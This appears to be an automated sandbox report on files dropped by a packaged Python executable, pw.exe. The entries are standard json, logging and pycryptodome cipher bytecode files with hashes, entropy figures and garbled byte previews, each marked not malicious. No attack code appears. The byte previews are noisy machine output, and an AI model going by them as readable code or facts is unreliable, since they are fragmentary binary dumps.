Preview:	o.........Sg.@.......................@...s6...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.yA......d.Z.Y.n.w.e...d...Z.e...d...Z.e...d...Z.d.d.d.d.d.d.d.d...Z.e.d...D.].Z.e...e.e...d...e.......q_e.d...Z.d.d...Z.e.pxe.Z.d.d...Z.e.p.e.Z.G.d.d...d.e...Z.e.e.e.e.e.e.e.e e!e.j"f.d.d...Z#d.S.).z.Implementation of JSONEncoder......N)...encode_basestring_ascii)...encode_basestring)...make_encoderz.[\x00-\x1f\\"\b\f\n\r\t]z.([\\"]\|[^\ -~])s....[.-.]z.\\z.\"z.\bz.\fz.\nz.\rz.\t)...\.."................ .....\u{0:04x}..infc....................C........d.d...}.d.t...\|.\|.....d...S.).z5Return a JSON representation of a Python string.. c....................S...s....t.\|...d.....S.).Nr....)...ESCAPE_DCT..group)...match..r.....!C:\recover\pw\lib\json\encoder.py..replace(...s......z%py_encode_basestring.<locals>.replacer....)...ESCAPE..sub....sr....r....r....r......py_encode_basestring$...s........r....c....................C...r....).

C:\recover\pw\Lib\json\pycache\scanner.cpython-310.pyc.33551336

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1914
Entropy (8bit):	5.583721582814334
Encrypted:	false
SSDEEP:	48:bgwhn/cfelN3xf9oI0rv3y1R0vSFkjVTdeIAKjvzSv:r0MFLoPw0TdNAKTS
MD5:	6484B0EE051FB7FA92E1DFAD66C73C75
SHA1:	B65BFFAFBD4C0C910AAD869F548BCA5CAAF7D39C
SHA-256:	82826EDE8A98291A52798A28A2827B7CE652A9ACBB050781F302DD051B995B7D
SHA-512:	8330B10A6438192CA26F7391CB8E5C75DE0725CF2E1D7B7002E60E45FBC901C35EBF6BFDE65DAF9ED033B69D238548B673E48AA0948BA79E3D2A6E64BE27359A
Malicious:	false
Preview:	o.........Sg.........................@...sh...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.g.Z.e...d.e.j.e.j.B.e.j.B...Z.d.d...Z.e.p1e.Z.d.S.).z.JSON token scanner......N)...make_scannerr....z)(-?(?:0\|[1-9]\d*))(\.\d+)?([eE][-+]?\d+)?c........................sv...\|.j...\|.j...\|.j...t.j...\|.j...\|.j...\|.j...\|.j...\|.j...\|.j...\|.j...........................f.d.d.........f.d.d...}.\|.S.).Nc........................s....z.\|.\|...}.W.n...t.y.......t.\|...d...w.\|.d.k.r...\|.\|.d.......S.\|.d.k.r0..\|.\|.d...f.............S.\|.d.k.r=..\|.\|.d...f.....S.\|.d.k.rQ\|.\|.\|.d.......d.k.rQd.\|.d...f.S.\|.d.k.re\|.\|.\|.d.......d.k.red.\|.d...f.S.\|.d.k.ry\|.\|.\|.d.......d.k.ryd.\|.d...f.S...\|.\|...}.\|.d.u.r.\|.....\.}.}.}.\|.s.\|.r...\|.\|.p.d...\|.p.d.....}.n...\|...}.\|.\|.....f.S.\|.d.k.r.\|.\|.\|.d.......d.k.r...d...\|.d...f.S.\|.d.k.r.\|.\|.\|.d.......d.k.r..d...\|.d...f.S.\|.d.k.r.\|.\|.\|.d.......d.k.r..d...\|.d...f.S.t.\|.....).N..".......{..[..n.....Z.null..t..trueT..f.....Z.falseF....N.......NaN..I.......Infinity..-.....z.-Infinit

C:\recover\pw\Lib\logging\pycache\init.cpython-310.pyc.33657304

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	66889
Entropy (8bit):	5.2285902838195195
Encrypted:	false
SSDEEP:	768:xdNUC9zPG/2+LY88wCZvnogaGI3IcxxWe8mpQxKSVM+GSZpsRNixcEOZBQ0uyoP:xdygXeY88wKvnkG8vmeZQ/c2l1P
MD5:	705E7B46D807A31400E8854C0BFB0346
SHA1:	9BB49EEBDF99401EA91C0DC528F7B711DEFFC16E
SHA-256:	1F4A92535B4F8B386B2E5D9D8D5D023F06C56557F7516AC1882119674466F387
SHA-512:	88A7BF1A32F59179E99AB414D0A516F64C2583ECF92D5229098C496E31CED825691D9FC604091D4BE6B7A7F83E2474BBC53CA2C17DE28AE5F7AA01841EB2495D
Malicious:	false
Preview:	o.........Sg=B.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.d.Z.e.....Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.Z.d.Z.e.Z.d.Z.d.Z d.Z!e.d.e.d.e.d.e.d.e d.e!d.i.Z"e.e.e.e.e.e.e e!d...Z#d.d...Z$d.d...Z%e&e.d...r.d.d...Z'n.d.d...Z'e.j(.)e%jj+..Z,d d!..Z-e.....Z/d"d#..Z0d$d%..Z1e&e.d&..s.d'd(..Z2n.e..3..Z4d)d(..Z2dd+..Z5e.j6e0e5e1d,....G.d-d...d.e7..Z8e8a9d/d0..Z:d1d2..Z;d3d4..Z<e...Z=[.G.d5d6..d6e7..Z>G.d7d8..d8e>..Z?G.d9d:..d:e>..Z@d;ZAe>eAf.e?d<f.e@d=f.d>..ZBG.d?d@..d@e7..Z.e...ZCG.dAdB..dBe7..ZDG.dCdD..dDe7..ZEG.dEdF..dFe7..ZFe..G..ZHg.ZIdGdH..ZJdIdJ..ZKG.dKdL..dLeF..ZLG.dMdN..dNeL..ZMG.dOdP..dPeM..ZNG.dQdR..dReM..ZOeOe...ZPePZQG.dSdT..dTe7..ZRdUdV..ZSdWdX..ZTG.dYdZ..dZe7..ZUG.d[d\..d\eF..ZVG.d]d^..d^eV..ZWeVaXG.d_d`..d`e7..ZYeWe...ZZeZeV_ZeUeVjZ..eV_[dadb..Z\d.dcdd..Z]dedf..Z^dgdh..Z_didj..Z`d.dk..dldm..Zadndo..Zbdpdq..Zcdrds..Zddtdu..Zedvdw..Zfe.f.dxdy..ZgeIf.dzd{..Zhd.d.liZiei.jeh..

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\AES.cpython-310.pyc.76788368

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7029
Entropy (8bit):	5.339247333695961
Encrypted:	false
SSDEEP:	96:JeGQHbITHl5m6xVZaGV/EXOniHu/Eoft7TAUZmniQjzVHd2qE5:Je7Hbk5nn9EXDHhItPdZ9QjI5
MD5:	19AA3F6C2DFC1BD98649C18A5EDA2647
SHA1:	7BA4D72D4A91D62C515F7F271B91384BDCC0019F
SHA-256:	00F863318D360D03AE8CB1EEE40B5A7BF8B91726FADD5D88A57B15E5F4AD01DB
SHA-512:	ED997B41090AA02835E38BE701743D3AD7740489697C3EAE5DD123F99D5DD259ECB3D2C6C2512994073268E7A658C9F7AE617864541176849E227A9ED980452D
Malicious:	false
Preview:	o.........Sg.#.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.d.e...Z.z.d.Z.e.....rQe.d.e...d.d.....Z.W.n...e.y[......Y.n.w.d.d...Z.d.d...Z.d.d...Z d.Z!d.Z"d.S.)......N)..._create_cipher)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..c_size_t..c_uint8_ptr)..._cpu_features)...get_random_bytes.......................................................a..... int AES_start_operation(const uint8_t key[],. size_t key_len,. void *pResult);. int AES_encrypt(const void state,. const uint8_t in,. uint8_t out,. size_t data_len);. int AES_decrypt(const void state,. const uint8_t in,. uint8_t out,. size_t data_len);. int AES_stop_operation(void state);.

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\DES.cpython-310.pyc.78517192

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4957
Entropy (8bit):	5.161845322614703
Encrypted:	false
SSDEEP:	96:cFDtaCGJ/VGx/uxbLM4x6stLAv74PJlQKGW:CwZAputM4ftcsPzJ
MD5:	18802C850544963B6B5B3FACF5559A58
SHA1:	C9EF79CA64E8C2DD678CA75A4F8E13B9D95344BA
SHA-256:	8B7728B3628DEE70F733DD42B380B78A1B0F43C1122A5A468893CB4175652994
SHA-512:	70C320746985EB56A5A9D73DAB83FD4C36C6B61CE13880FA558E2AB1E99E1C3264D56D81FE29AD013438238F48328EFBE719A3A61CD19463867D07AAF7A03966
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.).a.....Module's constants for the modes of operation supported with Single DES:..:var MODE_ECB: :ref:`Electronic Code Book (ECB) <ecb_mode>`.:var MODE_CBC: :ref:`Cipher-Block Chaining (CBC) <cbc_mode>`.:var MODE_CFB: :ref:`Cipher FeedBack (CFB) <cfb_mode>`.:var MODE_OFB: :ref:`Output FeedBack (OFB) <ofb_mode>`.:var MODE_CTR: :ref:`CounTer Mode (CTR) <ctr_mode>`.:var MODE_OPENPGP: :ref:`OpenPGP Mode <openpgp_mode>`.:var MODE_EAX: :ref:`EAX Mode <eax_mode>`......N)..._create_cipher)...byte_string)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..c_size_t..c_uint8_ptrz.Crypto.Cipher._raw_desa..... int DES_start_operation(const uint8_t key[],. size_t key_len,. void **pResult);. int DES_encrypt(const vo

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\DES3.cpython-310.pyc.76788368

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6170
Entropy (8bit):	5.254935937506675
Encrypted:	false
SSDEEP:	96:l3Pz+cF8LjRVdNkIOMwgRYRc/2QlAeiPTiC6TtLAvE4YMxbulb5ac:5+pB8M01aqPTi/tcfYSbwAc
MD5:	A373AF2DB697C300F6DB6F345F46EEE0
SHA1:	A980A4E5C6E9BDF6DAF67FAADADFF559DDDE9EF5
SHA-256:	F50DE6240CAE1CEA0BD64627A038020610724152FAB6541A8D22414C4D1286E5
SHA-512:	0CED6F8DFBF2298713B7D756C10E643F79A4578325BA735FF458318F6D8EAD011253E159806A9C6B245C03891C0CFD54E8E4410DF11D758B0CD10AFA13F5B294
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.).a.....Module's constants for the modes of operation supported with Triple DES:..:var MODE_ECB: :ref:`Electronic Code Book (ECB) <ecb_mode>`.:var MODE_CBC: :ref:`Cipher-Block Chaining (CBC) <cbc_mode>`.:var MODE_CFB: :ref:`Cipher FeedBack (CFB) <cfb_mode>`.:var MODE_OFB: :ref:`Output FeedBack (OFB) <ofb_mode>`.:var MODE_CTR: :ref:`CounTer Mode (CTR) <ctr_mode>`.:var MODE_OPENPGP: :ref:`OpenPGP Mode <openpgp_mode>`.:var MODE_EAX: :ref:`EAX Mode <eax_mode>`......N)..._create_cipher)...byte_string..bchr..bord..bstr)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..c_size_tz.Crypto.Cipher._raw_des3a..... int DES3_start_operation(const uint8_t key[],. size_t key_len,. void **pResult);.

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\PKCS1_OAEP.cpython-310.pyc.76744928

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6934
Entropy (8bit):	5.296958000689136
Encrypted:	false
SSDEEP:	96:65y77I5xO5Xqk0mu99jUAWWiD+wtDMgMzfEB1RZYVrdKlHbgKqkfzBA/CF:J7FFFpiMtQg/1g1dmrFf6qF
MD5:	C3C1D95FB8CF68633EC1C75EEC6B4702
SHA1:	3F1E6BF60EDBE3B76B62D87990EED4F256994DB7
SHA-256:	1296F3F4C5E5039744F8E5A40A763F4A14798D32C1770F01695562FAEDE87E81
SHA-512:	BD04785FB8DA40EC2A712263D110A66201127104B5045DAD7D9D7D15F3C21A14DDE22F41CF5C9B64995E99DE8782229CCEBDAE98AEFD0A03137A3BC77C8E1A9A
Malicious:	false
Preview:	o.........SgO".......................@...s\|...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.d.d.d...Z.d.S.)......)...MGF1N)..._copy_bytes)...ceil_div..bytes_to_long..long_to_bytes)...strxor)...Random.....)...oaep_decodec....................@...s8...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...PKCS1OAEP_CipherzXCipher object for PKCS#1 v1.5 OAEP.. Do not create directly: use :func:`new` instead.c........................sN...\|..._.\|.r.\|..._.n.t.j.j..._.\|.r.\|..._.n...f.d.d....._.t.d.d.\|....._.\|..._.d.S.).a....Initialize this PKCS#1 OAEP cipher object... :Parameters:. key : an RSA key object. If a private half is given, both encryption and decryption are possible.. If a public half is given, only encryption is possible.. hashAlgo : hash object. The hash function to use. This can be a module under `Crypto.Hash`. or an existing h

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\init.cpython-310.pyc.76471056

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	5.3674004399476605
Encrypted:	false
SSDEEP:	48:gzLMJbLqGllz8RRyglXGLtLaLaLLLLv+rLALiLLxLJLOfi:gzCbLqylz8RsgpIfuai
MD5:	88F256A9BCB81AB13C03CAC984238DBA
SHA1:	93BB01DE86D4F8765F97D30A91103107B7619CDE
SHA-256:	9B2CA960F448E8A56DBCE846997AB13FE725E55FA3E15DF1AEAD7C801FD5B60F
SHA-512:	87703A2909881C19341D81377706E7BEDF416B44DFF7E96A95C84EEF8B46656C683D3C73287E2C6ECB11B6ACFDD80FDB2ACF23C8B758036718D0C9AE021CE741
Malicious:	false
Preview:	o.........Sgk........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.e.e.e.e.e.e.d...Z.e.e.e.e.d...Z.d.d...Z.d.S.)......N)..._create_ecb_cipher)..._create_cbc_cipher)..._create_cfb_cipher)..._create_ofb_cipher)..._create_ctr_cipher)..._create_openpgp_cipher)..._create_ccm_cipher)..._create_eax_cipher)..._create_siv_cipher)..._create_gcm_cipher)..._create_ocb_cipher)....................................).....................c....................O...s....\|.\|.d.<.t.t...}.\|...d.d...r.\|...t.....\|.\|.v.r.t.d.....\|.r^\|.d.v.r2t.\|...d.k.r+t.d.....\|.d...\|.d.<.n,\|.d.v.rGt.\|...d.k.r@t.d.....\|.d...\|.d.<.n.\|.d.k.rVt.\|...d.k.rUt.d.....n.\|.d.k.r^t.d.....\|.\|...\|.f.i.\|.....S.).N..keyZ.add_aes_modesFz.Mode not supported).r....r....r....r....r....r....z Too many arguments for this moder......nonce).r....r....r....r....Z.IVr....z%IV is not meaningful for the ECB mode)...dict.._modes..pop..up

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_cbc.cpython-310.pyc.77045616

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7453
Entropy (8bit):	5.137254131139143
Encrypted:	false
SSDEEP:	96:4Y6kvwbQ9XIHJEgsA4nx3ZzhS5R5esIDGnt834mGvWcsQNqC/Y8HvGBt83425phX:WbJHrt4x3Zq8smGtU4w1MGnU44Kt0qOp
MD5:	5678468B7A2E23C74EC9F39DCE719C20
SHA1:	4DF34DA095B8DC61C122F65A13E05173459DF5C5
SHA-256:	5F98CA03EB2A021F2BF169C62CFAC21B68611A9ABDFECA6FF21593F6668EAA37
SHA-512:	D11DA642B19490EB9C741DF279B38954FB4810D09619FF69D2DBBEC012FE08270C8C74E4A739230968DB2DFADDF5FBC589B59837D17213633A6C626B33F4F091
Malicious:	false
Preview:	o.........Sg.+.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z'.Ciphertext Block Chaining (CBC) mode....CbcMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_cbca..... int CBC_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. void pResult);. int CBC_encrypt(void cbcState,. const uint8_t in,. uint8_t out,. size_t data_len);. int CBC_decrypt(void cbcState,. const uint8_t in,. uint8_t *out,.

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_ccm.cpython-310.pyc.77079008

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17928
Entropy (8bit):	5.285858166906226
Encrypted:	false
SSDEEP:	384:D7q/qgUMlQiMS1I48juzC8Y2tMlx7vXyqE:D7SQM6jQMb7/yV
MD5:	CEC20C4F019157A134955585CC7402AA
SHA1:	4418A1C7EC09E01BEA9042EB7A21CF717066A442
SHA-256:	E7AA91523CB78989BDBD2C5491D40D1D78BCBD245DD2339800A3F136B5172FA4
SHA-512:	DCA79D87AFAF829249DF815FBA20B131CF11B05255B42B1F7F0475699EFC8F33C9C65F0B27F64536D5477C18C36586CBD1ABC0D9B04AC6D5622DA1EDA6DC8047
Malicious:	false
Preview:	o.........Sg.a.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.e.d.d.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z".Counter with CBC-MAC (CCM) mode....CcmMode.....N)...unhexlify)...byte_string..bord.._copy_bytes)...is_writeable_buffer)...strxor)...long_to_bytes)...BLAKE2s)...get_random_bytesc....................K...s....t.d.d.\|...S.).N..Enum..)...type).Z.enumsr....r.....:C:\recover\pw\lib\site-packages\Crypto\Cipher\_mode_ccm.py..enum3...s......r..............)...NOT_STARTED..PROCESSING_AUTH_DATA..PROCESSING_PLAINTEXTc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d.d...Z.d!d.d...Z.d!d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d!d.d...Z.d!d.d...Z.d.S.)"r....a....Counter with CBC-MAC (CCM)... This is an Authenticated Encryption with Associated Data (`AEAD`_) mode.. It provides both confidentiality and authenticity... The header of the message may be lef

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_cfb.cpython-310.pyc.77045280

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7775
Entropy (8bit):	5.10166932233529
Encrypted:	false
SSDEEP:	96:Lo6kvf/G8HDxEpuPnxEZYh9PsCIgGGt834mGPMsQNPx/g8H+G0t834U5pptYCcXn:y3xEuxEZLCJGkU4ma5GaU4mx4DbKq+E
MD5:	DDEE29956D23A72730D43711B60EF9B0
SHA1:	2F8652D89C1583429D569343D740D90F67084CE1
SHA-256:	3F4B7F32C82DF67B50C437280C107CA6DB7830C1430F350426FAEBA67B3B9595
SHA-512:	661227FE584B20ED6368CBE3ED8EFBA3451DDEEB4A47962CBBDE2B84C517691E3EABAE6D0C078F1D30B10AD8A62F03A84F8895CA5DB15B5970888E758D601F4F
Malicious:	false
Preview:	o.........Sg.+.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Counter Feedback (CFB) mode....CfbMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_cfba .... int CFB_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. size_t segment_len, / In bytes /. void pResult);. int CFB_encrypt(void cfbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int CFB_decrypt(void *cfbState,.

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_ctr.cpython-310.pyc.77079232

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10973
Entropy (8bit):	5.098780299931689
Encrypted:	false
SSDEEP:	192:l7GD6nkH7cxiM16TPy58ssmGrPU4uOGrNU4XrwSkcji+Gb:lamnGSQ+80MTuOyTXMSkmi+0
MD5:	53814793483CBB9132C2FE333BFD16B4
SHA1:	E0491526150BCE9192959EF7CC03ED21A5477ADB
SHA-256:	91DEC6528ADCDB188C4D517D951500AB61ABC9524AB6805E0D4DD00BBE26E6C0
SHA-512:	F81AD6E19883AA034D7B8E671E1F60D4EFF25B11ACD79BFB29A375C50A90C1F733DB8A941A830C0D154D699169D0BA6E672931CF1CB7D89961708DC46FF737C9
Malicious:	false
Preview:	o.........SgM?.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Counter (CTR) mode....CtrMode.....N)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytes)..._copy_bytes..is_native_int)...long_to_bytesz.Crypto.Cipher._raw_ctra..... int CTR_start_operation(void cipher,. uint8_t initialCounterBlock[],. size_t initialCounterBlock_len,. size_t prefix_len,. unsigned counter_len,. unsigned littleEndian,. void pResult);. int CTR_encrypt(void ctrState,.

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_eax.cpython-310.pyc.77080576

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	12259
Entropy (8bit):	5.157473977676032
Encrypted:	false
SSDEEP:	192:8sVawXqNRG+1vCM4PBrU4/4DwU4X3Rz/AfrRWDL/773uewFjp3xWmk1:tawXq/j4M4lTwwTXp/AVeLT732L071
MD5:	C9E9ACAFB6B6AF8E6C014D94E95940E0
SHA1:	9B93E1ACF55C1F5B1E79D19A23628CF394B7D512
SHA-256:	F135D25DF6D4E6AC7E068E5CB1EA203B493D78FC05B2D5F3212024434B63682A
SHA-512:	94613AADF75AF990C00B5BCA5D7F026CCC84334A6D6D15010114AE8023E9BD555DD68AF9A2D78ADF35EF76F3AAC12797897CA7EA71606806A58DF2C65B33AC43
Malicious:	false
Preview:	o.........Sg.:.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z..EAX mode....EaxMode.....N)...unhexlify)...byte_string..bord.._copy_bytes)...is_buffer)...strxor)...long_to_bytes..bytes_to_long)...CMAC..BLAKE2s)...get_random_bytesc....................@...sh...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....a....EAX mode... This is an Authenticated Encryption with Associated Data. (`AEAD`_) mode. It provides both confidentiality and authenticity... The header of the message may be left in the clear, if needed,. and it will still be subject to authentication... The decryption step tells the receiver if the message comes. from a source that really knowns the secret key.. Additionally, decryption detects if any part of the message -. including the header - has been modified

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_ecb.cpython-310.pyc.76471952

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5802
Entropy (8bit):	5.0921415957214275
Encrypted:	false
SSDEEP:	96:3nFv6kvV9AtXEHlhfKx7lhLVFeaqBP6sQLRdJ98HJm3qc5pHIeOD:3nH9pHlhM7XekL96mxsD
MD5:	2ABDB991C11781A6EF18B7C7040DA0EB
SHA1:	CF58A2D24B2B290563EC844A08CBB14B157F7519
SHA-256:	5E90B4D2B339B152EC4959927987AF9D2F997124F70D3983EAE5899F9815575F
SHA-512:	21D186FC517DACC1B08F8A00191C4D6ACD7E452B931486F77A051728388F57C422CAD589F0CAC6A2CFFAED2402B0B80A206C6CFD14091B9757772C4BF1F9262C
Malicious:	false
Preview:	o.........SgQ!.......................@...sX...d.Z.d.g.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z".Electronic Code Book (ECB) mode....EcbMode.....)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_bufferz.Crypto.Cipher._raw_ecbak.... int ECB_start_operation(void cipher,. void pResult);. int ECB_encrypt(void ecbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int ECB_decrypt(void ecbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int ECB_stop_operation(void state);. c....................@...s,.

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_gcm.cpython-310.pyc.77082480

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17056
Entropy (8bit):	5.331044659448114
Encrypted:	false
SSDEEP:	384:K/+RW9/ScqbkrPM4JjaTlTbIl67Wa+7l9A:KGw9/Zw4c7Fc9A
MD5:	13911FCCD588E038979147DD1E4B5457
SHA1:	D5FC0AD69A97BDB20C50083FF28FE4D5BD42464B
SHA-256:	3C35984297D2DB53F27A1878F65386750E58C7C8E11D23F9097257566596E9D0
SHA-512:	97134659DEA3FCBC01EDA7083ACE8218A983F7FCE5AA6DAD3A81A7BCF0B12C04C8788D93258280C125651B95C59B87DE0B0FFAEFE1DCDFCBC3F14940489B0501
Malicious:	false
Preview:	o.........Sg.U.......................@...s....d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.d...Z.d.d...Z.e...Z.d.d...Z.e...Z.G.d.d...d.e...Z d.d...Z!e!d.d.d...Z"G.d.d...d.e...Z#d.d...Z$d.S.).z..Galois/Counter Mode (GCM)....GcmMode.....)...unhexlify)...bord.._copy_bytes)...is_buffer)...long_to_bytes..bytes_to_long)...BLAKE2s)...get_random_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr)..._cpu_featuresa`.... int ghash_%imp%(uint8_t y_out[16],. const uint8_t block_data[],. size_t len,. const uint8_t y_in[16],. const void exp_key);. int ghash_expand_%imp%(const uint8_t h[16],. void ghash_tables);. int ghash_destroy_%imp%(void ghash_tables);.c........................sl...d.d.l.m.}...d.}.\|.d.\|...}.z.....f.d

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_ocb.cpython-310.pyc.76743808

Process:	C:\recover\pw\pw.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 256-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, minimum point enabled, calibration: offset 0.000000, slope 128.000000
Category:	dropped
Size (bytes):	14638
Entropy (8bit):	5.2377329218658835
Encrypted:	false
SSDEEP:	384:TqHGdezRhrM0R4K/eWAe4hvDCxH5DBbaZ0dQ:TsGdeXMMF2ygOZ5aZ0dQ
MD5:	55CC43BF932A8E8CDA642C933F64B641
SHA1:	B285BC51C9F6B72AB21C3EB80BA1976C300A4C44
SHA-256:	E436710C494E458A8359DA7E54FD5F8235C20693D0D561929AABA3CF63E56841
SHA-512:	5C1195B49AA9FDF8ACDFD3864E609A15381C71ED86ED5DA0512CE12324F3726A0227550E45D13C4EE7C90CFCB89CC8DA19D6C9EC74D70A6C717F7765DF916CA6
Malicious:	false
